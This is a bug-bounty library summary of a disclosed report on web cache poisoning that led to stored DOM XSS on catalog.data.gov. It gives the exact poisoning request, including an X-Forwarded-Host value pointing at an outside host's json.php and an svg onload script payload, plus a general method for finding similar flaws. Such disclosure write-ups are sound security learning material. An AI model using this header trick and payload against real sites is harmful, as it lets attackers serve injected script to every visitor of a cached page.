# Defacement of catalog.data.gov via web cache poisoning to stored DOMXSS

catalog.data.gov trusts X-Forwarded-Host to set data-site-root, which JS fetches unescaped JSON from; CloudFront caches the poisoned response, yielding stored DOMXSS.

- Payout: $750
- Severity: high
- Program: GSA Bounty
- Credited: albinowax
- Disclosed: 2018-11-01
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/303730
- Library page: https://bugbountylibrary.com/r/h1%3A303730
- Tags: domain:web impact:ato impact:integrity kind:bounty platform:hackerone sev:high tech:cdn technique:chained vuln:cache-poisoning vuln:host-header vuln:xss

**Target:** CloudFront-fronted web app (catalog.data.gov dataset pages)
**Root cause:** Server reflects the untrusted X-Forwarded-Host header into body data-site-root/data-locale-root attributes; client JS fetches JSON from that URL and injects the show_more string into the DOM without escaping.
**Steps:**
1. Send `GET /dataset/consumer-complaint-database?dontpoisoneveryone=6` with header `x-forwarded-host: portswigger-labs.net/catalog.data.gov_json_xss/json.php?`
2. CloudFront caches the response with data-site-root pointing at attacker host
3. Visit the same URL; page JS fetches attacker json.php
4. Attacker JSON show_more value `Mostrar más <svg onload=alert(document.domain)>` is written unescaped into the DOM, firing XSS
**How found:** Noticed the server reflected request headers (referer, UA, IP) into the page; hypothesized X-Forwarded-Host was trusted for data-site-root, then confirmed the client-side JSON fetch wrote the response unescaped, and that CloudFront cached the poisoned response.
**Exploitation:** Attacker poisons the CloudFront cache via a single request with a malicious X-Forwarded-Host, so all subsequent visitors to the cached URL load attacker-controlled JSON and execute injected script in the catalog.data.gov origin.
**Escalation:** Cache poisoning converts a self-only header reflection into zero-interaction stored XSS served to all cache-hit visitors.
**Insight:** When a page reflects request headers, check whether any header (X-Forwarded-Host, X-Forwarded-For, X-Original-URL) feeds a client-side fetch URL or config attribute; if the CDN caches on a key that excludes that header, a single request poisons the cache for everyone.
